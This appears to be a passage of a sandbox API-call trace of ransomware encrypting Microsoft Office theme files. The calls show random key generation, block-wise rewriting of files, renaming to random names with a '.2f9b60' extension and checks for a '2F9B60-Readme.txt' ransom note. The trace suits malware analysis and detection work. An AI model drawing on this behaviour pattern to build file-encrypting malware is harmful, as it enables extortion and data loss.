RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82a2a0) returned 1 [0088.217] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79dff0) returned 1 [0088.217] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97350) returned 1 [0088.217] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2d) returned 0x1cd9f970 [0088.217] sprintf (in: _Dest=0x1cd9f970, _Format="%c%c" | out: _Dest="87") returned 2 [0088.217] sprintf (in: _Dest=0x1cd9f972, _Format="%c%c" | out: _Dest="49") returned 2 [0088.217] sprintf (in: _Dest=0x1cd9f974, _Format="%c%c" | out: _Dest="a5") returned 2 [0088.218] sprintf (in: _Dest=0x1cd9f976, _Format="%c%c" | out: _Dest="f1") returned 2 [0088.218] sprintf (in: _Dest=0x1cd9f978, _Format="%c%c" | out: _Dest="8c") returned 2 [0088.218] sprintf (in: _Dest=0x1cd9f97a, _Format="%c%c" | out: _Dest="3b") returned 2 [0088.218] sprintf (in: _Dest=0x1cd9f97c, _Format="%c%c" | out: _Dest="23") returned 2 [0088.218] sprintf (in: _Dest=0x1cd9f97e, _Format="%c%c" | out: _Dest="e1") returned 2 [0088.218] sprintf (in: _Dest=0x1cd9f980, _Format="%c%c" | out: _Dest="dd") returned 2 [0088.218] sprintf (in: _Dest=0x1cd9f982, _Format="%c%c" | out: _Dest="79") returned 2 [0088.218] sprintf (in: _Dest=0x1cd9f984, _Format="%c%c" | out: _Dest="c1") returned 2 [0088.218] sprintf (in: _Dest=0x1cd9f986, _Format="%c%c" | out: _Dest="83") returned 2 [0088.218] sprintf (in: _Dest=0x1cd9f988, _Format="%c%c" | out: _Dest="5f") returned 2 [0088.218] sprintf (in: _Dest=0x1cd9f98a, _Format="%c%c" | out: _Dest="34") returned 2 [0088.218] sprintf (in: _Dest=0x1cd9f98c, _Format="%c%c" | out: _Dest="cd") returned 2 [0088.218] sprintf (in: _Dest=0x1cd9f98e, _Format="%c%c" | out: _Dest="9b") returned 2 [0088.218] sprintf (in: _Dest=0x1cd9f990, _Format="%c%c" | out: _Dest="e9") returned 2 [0088.218] sprintf (in: _Dest=0x1cd9f992, _Format="%c%c" | out: _Dest="04") returned 2 [0088.218] sprintf (in: _Dest=0x1cd9f994, _Format="%c%c" | out: _Dest="c6") returned 2 [0088.218] sprintf (in: _Dest=0x1cd9f996, _Format="%c%c" | out: _Dest="52") returned 2 [0088.218] sprintf (in: _Dest=0x1cd9f998, _Format="%c%c" | out: _Dest="f7") returned 2 [0088.218] sprintf (in: _Dest=0x1cd9f99a, _Format="%c%c" | out: _Dest="43") returned 2 [0088.218] RtlInitAnsiString (in: DestinationString=0x245df988, SourceString="8749a5f18c3b23e1dd79c1835f34cd9be904c652f743" | out: DestinationString="8749a5f18c3b23e1dd79c1835f34cd9be904c652f743") [0088.218] RtlAnsiStringToUnicodeString (in: DestinationString=0x245df958, SourceString="8749a5f18c3b23e1dd79c1835f34cd9be904c652f743", AllocateDestinationString=1 | out: DestinationString="8749a5f18c3b23e1dd79c1835f34cd9be904c652f743") returned 0x0 [0088.218] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x5a) returned 0x1b7c1f70 [0088.219] wcscat (in: _Dest=0x1b7add40, _Source="8749a5f18c3" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\8749a5f18c3") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\8749a5f18c3" [0088.219] wcscat (in: _Dest=0x1b7add40, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\8749a5f18c3.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\8749a5f18c3.2f9b60" [0088.219] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\8749a5f18c3.2f9b60", NtPathName=0x245df930, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\8749a5f18c3.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0088.219] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xae) returned 0x106e80 [0088.220] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x106e80) returned 1 [0088.220] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b77ad20) returned 1 [0088.220] NtQueryInformationFile (in: FileHandle=0xa40, IoStatusBlock=0x245df998, FileInformation=0x245df9a8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x245df998, FileInformation=0x245df9a8) returned 0x0 [0088.220] NtSetInformationFile (FileHandle=0xa40, IoStatusBlock=0x245df998, FileInformation=0x245df9a8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0088.224] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7add40) returned 1 [0088.224] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7c1f70) returned 1 [0088.224] FlushFileBuffers (hFile=0xa40) returned 1 [0088.225] CloseHandle (hObject=0xa40) returned 1 [0088.226] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x90) returned 0x1b7add40 [0088.226] wcscpy (in: _Dest=0x1b7add40, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\" [0088.226] wcscat (in: _Dest=0x1b7add40, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\2F9B60-Readme.txt" [0088.226] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\document themes 14\\2f9b60-readme.txt")) returned 0x20 [0088.226] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7add40) returned 1 [0088.226] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b784400) returned 1 Thread: id = 324 os_tid = 0xe40 [0088.228] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Apex.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\apex.thmx")) returned 0x20 [0088.229] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Apex.thmx", dwFileAttributes=0x20) returned 1 [0088.229] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Apex.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\apex.thmx"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xa40 [0088.229] GetFileSizeEx (in: hFile=0xa40, lpFileSize=0x2455f780 | out: lpFileSize=0x2455f780*=259111) returned 1 [0088.229] SetFilePointerEx (in: hFile=0xa40, liDistanceToMove=0x3f423, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.229] ReadFile (in: hFile=0xa40, lpBuffer=0x2455f700, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2455f748, lpOverlapped=0x0 | out: lpBuffer=0x2455f700*, lpNumberOfBytesRead=0x2455f748*=0x4, lpOverlapped=0x0) returned 1 [0088.237] SetFilePointerEx (in: hFile=0xa40, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.237] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82ab10 [0088.237] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b440 [0088.237] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b560 [0088.237] NtQuerySystemTime (in: CurrentTime=0x2455f640 | out: CurrentTime=0x2455f640*=132462176941066000) returned 0x0 [0088.237] RtlRandomEx (in: Seed=0x2455f630 | out: Seed=0x2455f630) returned 0x40dc4e6d [0088.237] RtlRandomEx (in: Seed=0x2455f630 | out: Seed=0x2455f630) returned 0x189ae42c [0088.237] RtlRandomEx (in: Seed=0x2455f630 | out: Seed=0x2455f630) returned 0x50980c79 [0088.238] RtlRandomEx (in: Seed=0x2455f630 | out: Seed=0x2455f630) returned 0x3dbd39b0 [0088.238] RtlRandomEx (in: Seed=0x2455f630 | out: Seed=0x2455f630) returned 0x35db55f8 [0088.238] RtlRandomEx (in: Seed=0x2455f630 | out: Seed=0x2455f630) returned 0x278044b4 [0088.238] RtlRandomEx (in: Seed=0x2455f630 | out: Seed=0x2455f630) returned 0x5a86e26e [0088.238] RtlRandomEx (in: Seed=0x2455f630 | out: Seed=0x2455f630) returned 0x7bda31e5 [0088.238] RtlRandomEx (in: Seed=0x2455f630 | out: Seed=0x2455f630) returned 0x134134b6 [0088.238] RtlRandomEx (in: Seed=0x2455f630 | out: Seed=0x2455f630) returned 0x2a7c0d4 [0088.238] RtlRandomEx (in: Seed=0x2455f630 | out: Seed=0x2455f630) returned 0x71ddfd19 [0088.238] RtlRandomEx (in: Seed=0x2455f630 | out: Seed=0x2455f630) returned 0x6e99d340 [0088.238] RtlRandomEx (in: Seed=0x2455f630 | out: Seed=0x2455f630) returned 0x5949003 [0088.238] RtlRandomEx (in: Seed=0x2455f630 | out: Seed=0x2455f630) returned 0x5c819835 [0088.238] RtlRandomEx (in: Seed=0x2455f630 | out: Seed=0x2455f630) returned 0xe561676 [0088.238] RtlRandomEx (in: Seed=0x2455f630 | out: Seed=0x2455f630) returned 0x234dd873 [0088.238] RtlRandomEx (in: Seed=0x2455f630 | out: Seed=0x2455f630) returned 0x2a84e70d [0088.238] RtlRandomEx (in: Seed=0x2455f630 | out: Seed=0x2455f630) returned 0x7c9b3aba [0088.238] RtlRandomEx (in: Seed=0x2455f630 | out: Seed=0x2455f630) returned 0x100647d6 [0088.238] RtlRandomEx (in: Seed=0x2455f630 | out: Seed=0x2455f630) returned 0x4c3aa284 [0088.238] RtlRandomEx (in: Seed=0x2455f630 | out: Seed=0x2455f630) returned 0x71b29fa1 [0088.238] RtlRandomEx (in: Seed=0x2455f630 | out: Seed=0x2455f630) returned 0x396e6e95 [0088.238] RtlRandomEx (in: Seed=0x2455f630 | out: Seed=0x2455f630) returned 0x2f294dff [0088.238] RtlRandomEx (in: Seed=0x2455f630 | out: Seed=0x2455f630) returned 0x1b22187f [0088.238] RtlRandomEx (in: Seed=0x2455f630 | out: Seed=0x2455f630) returned 0x577c37c3 [0088.238] RtlRandomEx (in: Seed=0x2455f630 | out: Seed=0x2455f630) returned 0x4b2d8ef3 [0088.238] RtlRandomEx (in: Seed=0x2455f630 | out: Seed=0x2455f630) returned 0x6725514f [0088.238] RtlRandomEx (in: Seed=0x2455f630 | out: Seed=0x2455f630) returned 0x2c6e735c [0088.238] RtlRandomEx (in: Seed=0x2455f630 | out: Seed=0x2455f630) returned 0xcf48f98 [0088.238] RtlRandomEx (in: Seed=0x2455f630 | out: Seed=0x2455f630) returned 0x45f8253e [0088.238] RtlRandomEx (in: Seed=0x2455f630 | out: Seed=0x2455f630) returned 0x12b69819 [0088.238] RtlRandomEx (in: Seed=0x2455f630 | out: Seed=0x2455f630) returned 0x256e77ae [0088.245] SetFilePointerEx (in: hFile=0xa40, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.245] ReadFile (in: hFile=0xa40, lpBuffer=0x1ce59900, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2455f6a0, lpOverlapped=0x0 | out: lpBuffer=0x1ce59900*, lpNumberOfBytesRead=0x2455f6a0*=0x3c00, lpOverlapped=0x0) returned 1 [0088.251] SetFilePointerEx (in: hFile=0xa40, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.251] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97350 [0088.251] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79dff0 [0088.251] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82ab10 [0088.251] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82ab10) returned 1 [0088.251] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x1ce5d510 [0088.252] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82ab10 [0088.252] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b560 [0088.252] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82b560) returned 1 [0088.252] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79dff0) returned 1 [0088.252] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97350) returned 1 [0088.252] WriteFile (in: hFile=0xa40, lpBuffer=0x1ce5d510*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2455f6a0, lpOverlapped=0x0 | out: lpBuffer=0x1ce5d510*, lpNumberOfBytesWritten=0x2455f6a0*=0x3c00, lpOverlapped=0x0) returned 1 [0088.261] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5d510) returned 1 [0088.261] SetFilePointerEx (in: hFile=0xa40, liDistanceToMove=0x21c00, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.261] ReadFile (in: hFile=0xa40, lpBuffer=0x1ce59900, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2455f6a0, lpOverlapped=0x0 | out: lpBuffer=0x1ce59900*, lpNumberOfBytesRead=0x2455f6a0*=0x3c00, lpOverlapped=0x0) returned 1 [0088.264] SetFilePointerEx (in: hFile=0xa40, liDistanceToMove=0x21c00, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.264] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97350 [0088.264] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79dff0 [0088.264] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82a4b0 [0088.264] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82a4b0) returned 1 [0088.264] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x1ce64d30 [0088.264] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82a4b0 [0088.264] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82a2a0 [0088.264] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82a2a0) returned 1 [0088.264] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79dff0) returned 1 [0088.264] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97350) returned 1 [0088.264] WriteFile (in: hFile=0xa40, lpBuffer=0x1ce64d30*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2455f6a0, lpOverlapped=0x0 | out: lpBuffer=0x1ce64d30*, lpNumberOfBytesWritten=0x2455f6a0*=0x3c00, lpOverlapped=0x0) returned 1 [0088.266] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce64d30) returned 1 [0088.266] SetFilePointerEx (in: hFile=0xa40, liDistanceToMove=0x3b827, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.266] ReadFile (in: hFile=0xa40, lpBuffer=0x1ce59900, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2455f6a0, lpOverlapped=0x0 | out: lpBuffer=0x1ce59900*, lpNumberOfBytesRead=0x2455f6a0*=0x3c00, lpOverlapped=0x0) returned 1 [0088.266] SetFilePointerEx (in: hFile=0xa40, liDistanceToMove=0x3b827, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.266] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97350 [0088.266] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79dff0 [0088.266] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82a2a0 [0088.267] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82a2a0) returned 1 [0088.267] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x1ce5d510 [0088.267] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82a2a0 [0088.267] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82aab0 [0088.267] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82aab0) returned 1 [0088.267] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79dff0) returned 1 [0088.267] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97350) returned 1 [0088.267] WriteFile (in: hFile=0xa40, lpBuffer=0x1ce5d510*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2455f6a0, lpOverlapped=0x0 | out: lpBuffer=0x1ce5d510*, lpNumberOfBytesWritten=0x2455f6a0*=0x3c00, lpOverlapped=0x0) returned 1 [0088.269] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5d510) returned 1 [0088.269] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x1b7c1f70 [0088.269] SetFilePointerEx (in: hFile=0xa40, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0088.269] WriteFile (in: hFile=0xa40, lpBuffer=0x1b82f830*, nNumberOfBytesToWrite=0x144, lpNumberOfBytesWritten=0x2455f750, lpOverlapped=0x0 | out: lpBuffer=0x1b82f830*, lpNumberOfBytesWritten=0x2455f750*=0x144, lpOverlapped=0x0) returned 1 [0088.271] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97350 [0088.271] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79dff0 [0088.271] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b4d0 [0088.271] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82b4d0) returned 1 [0088.271] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x12) returned 0x1b82d000 [0088.271] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b4d0 [0088.271] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b3b0 [0088.271] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82b3b0) returned 1 [0088.271] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79dff0) returned 1 [0088.271] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97350) returned 1 [0088.271] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x25) returned 0x1b82b3b0 [0088.271] sprintf (in: _Dest=0x1b82b3b0, _Format="%c%c" | out: _Dest="3b") returned 2 [0088.271] sprintf (in: _Dest=0x1b82b3b2, _Format="%c%c" | out: _Dest="b6") returned 2 [0088.271] sprintf (in: _Dest=0x1b82b3b4, _Format="%c%c" | out: _Dest="25") returned 2 [0088.271] sprintf (in: _Dest=0x1b82b3b6, _Format="%c%c" | out: _Dest="38") returned 2 [0088.271] sprintf (in: _Dest=0x1b82b3b8, _Format="%c%c" | out: _Dest="74") returned 2 [0088.271] sprintf (in: _Dest=0x1b82b3ba, _Format="%c%c" | out: _Dest="38") returned 2 [0088.271] sprintf (in: _Dest=0x1b82b3bc, _Format="%c%c" | out: _Dest="85") returned 2 [0088.272] sprintf (in: _Dest=0x1b82b3be, _Format="%c%c" | out: _Dest="4b") returned 2 [0088.272] sprintf (in: _Dest=0x1b82b3c0, _Format="%c%c" | out: _Dest="46") returned 2 [0088.272] sprintf (in: _Dest=0x1b82b3c2, _Format="%c%c" | out: _Dest="c7") returned 2 [0088.272] sprintf (in: _Dest=0x1b82b3c4, _Format="%c%c" | out: _Dest="78") returned 2 [0088.272] sprintf (in: _Dest=0x1b82b3c6, _Format="%c%c" | out: _Dest="7e") returned 2 [0088.272] sprintf (in: _Dest=0x1b82b3c8, _Format="%c%c" | out: _Dest="73") returned 2 [0088.272] sprintf (in: _Dest=0x1b82b3ca, _Format="%c%c" | out: _Dest="22") returned 2 [0088.272] sprintf (in: _Dest=0x1b82b3cc, _Format="%c%c" | out: _Dest="09") returned 2 [0088.272] sprintf (in: _Dest=0x1b82b3ce, _Format="%c%c" | out: _Dest="48") returned 2 [0088.272] sprintf (in: _Dest=0x1b82b3d0, _Format="%c%c" | out: _Dest="65") returned 2 [0088.272] sprintf (in: _Dest=0x1b82b3d2, _Format="%c%c" | out: _Dest="ff") returned 2 [0088.272] RtlInitAnsiString (in: DestinationString=0x2455f7c8, SourceString="3bb625387438854b46c7787e7322094865ff" | out: DestinationString="3bb625387438854b46c7787e7322094865ff") [0088.272] RtlAnsiStringToUnicodeString (in: DestinationString=0x2455f798, SourceString="3bb625387438854b46c7787e7322094865ff", AllocateDestinationString=1 | out: DestinationString="3bb625387438854b46c7787e7322094865ff") returned 0x0 [0088.272] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x4a) returned 0x1cd9d3d0 [0088.272] wcscat (in: _Dest=0x1b7add40, _Source="3bb625387" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\3bb625387") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\3bb625387" [0088.272] wcscat (in: _Dest=0x1b7add40, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\3bb625387.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\3bb625387.2f9b60" [0088.272] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\3bb625387.2f9b60", NtPathName=0x2455f770, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\3bb625387.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0088.272] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xaa) returned 0x106e80 [0088.274] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x106e80) returned 1 [0088.274] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b77ad20) returned 1 [0088.274] NtQueryInformationFile (in: FileHandle=0xa40, IoStatusBlock=0x2455f7d8, FileInformation=0x2455f7e8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2455f7d8, FileInformation=0x2455f7e8) returned 0x0 [0088.274] NtSetInformationFile (FileHandle=0xa40, IoStatusBlock=0x2455f7d8, FileInformation=0x2455f7e8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0088.275] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7add40) returned 1 [0088.275] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9d3d0) returned 1 [0088.275] FlushFileBuffers (hFile=0xa40) returned 1 [0088.277] CloseHandle (hObject=0xa40) returned 1 [0088.278] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x90) returned 0x1b7add40 [0088.278] wcscpy (in: _Dest=0x1b7add40, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\" [0088.278] wcscat (in: _Dest=0x1b7add40, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\2F9B60-Readme.txt" [0088.278] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\document themes 14\\2f9b60-readme.txt")) returned 0x20 [0088.278] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7add40) returned 1 [0088.278] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b784490) returned 1 Thread: id = 325 os_tid = 0xe44 [0088.236] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Apothecary.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\apothecary.thmx")) returned 0x20 [0088.247] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Apothecary.thmx", dwFileAttributes=0x20) returned 1 [0088.250] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Apothecary.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\apothecary.thmx"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xa3c [0088.250] GetFileSizeEx (in: hFile=0xa3c, lpFileSize=0x2465fba0 | out: lpFileSize=0x2465fba0*=88662) returned 1 [0088.250] SetFilePointerEx (in: hFile=0xa3c, liDistanceToMove=0x15a52, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.250] ReadFile (in: hFile=0xa3c, lpBuffer=0x2465fb20, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2465fb68, lpOverlapped=0x0 | out: lpBuffer=0x2465fb20*, lpNumberOfBytesRead=0x2465fb68*=0x4, lpOverlapped=0x0) returned 1 [0088.253] SetFilePointerEx (in: hFile=0xa3c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.253] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b560 [0088.253] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b650 [0088.254] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82a4b0 [0088.254] NtQuerySystemTime (in: CurrentTime=0x2465fa60 | out: CurrentTime=0x2465fa60*=132462176941222000) returned 0x0 [0088.254] RtlRandomEx (in: Seed=0x2465fa50 | out: Seed=0x2465fa50) returned 0xf5df6a8 [0088.254] RtlRandomEx (in: Seed=0x2465fa50 | out: Seed=0x2465fa50) returned 0x573520de [0088.254] RtlRandomEx (in: Seed=0x2465fa50 | out: Seed=0x2465fa50) returned 0x10cdb51d [0088.254] RtlRandomEx (in: Seed=0x2465fa50 | out: Seed=0x2465fa50) returned 0x518943b7 [0088.254] RtlRandomEx (in: Seed=0x2465fa50 | out: Seed=0x2465fa50) returned 0x5e86ba84 [0088.254] RtlRandomEx (in: Seed=0x2465fa50 | out: Seed=0x2465fa50) returned 0x3b84b6d1 [0088.254] RtlRandomEx (in: Seed=0x2465fa50 | out: Seed=0x2465fa50) returned 0x64efb45b [0088.254] RtlRandomEx (in: Seed=0x2465fa50 | out: Seed=0x2465fa50) returned 0x66120cdf [0088.254] RtlRandomEx (in: Seed=0x2465fa50 | out: Seed=0x2465fa50) returned 0x3d2bf505 [0088.254] RtlRandomEx (in: Seed=0x2465fa50 | out: Seed=0x2465fa50) returned 0x7e6433f1 [0088.254] RtlRandomEx (in: Seed=0x2465fa50 | out: Seed=0x2465fa50) returned 0x24f47178 [0088.254] RtlRandomEx (in: Seed=0x2465fa50 | out: Seed=0x2465fa50) returned 0x55e49c96 [0088.254] RtlRandomEx (in: Seed=0x2465fa50 | out: Seed=0x2465fa50) returned 0x5f3d9dd0 [0088.254] RtlRandomEx (in: Seed=0x2465fa50 | out: Seed=0x2465fa50) returned 0x2bf79361 [0088.254] RtlRandomEx (in: Seed=0x2465fa50 | out: Seed=0x2465fa50) returned 0x7a35b3cc [0088.254] RtlRandomEx (in: Seed=0x2465fa50 | out: Seed=0x2465fa50) returned 0x4343d0c1 [0088.254] RtlRandomEx (in: Seed=0x2465fa50 | out: Seed=0x2465fa50) returned 0x68395b5a [0088.254] RtlRandomEx (in: Seed=0x2465fa50 | out: Seed=0x2465fa50) returned 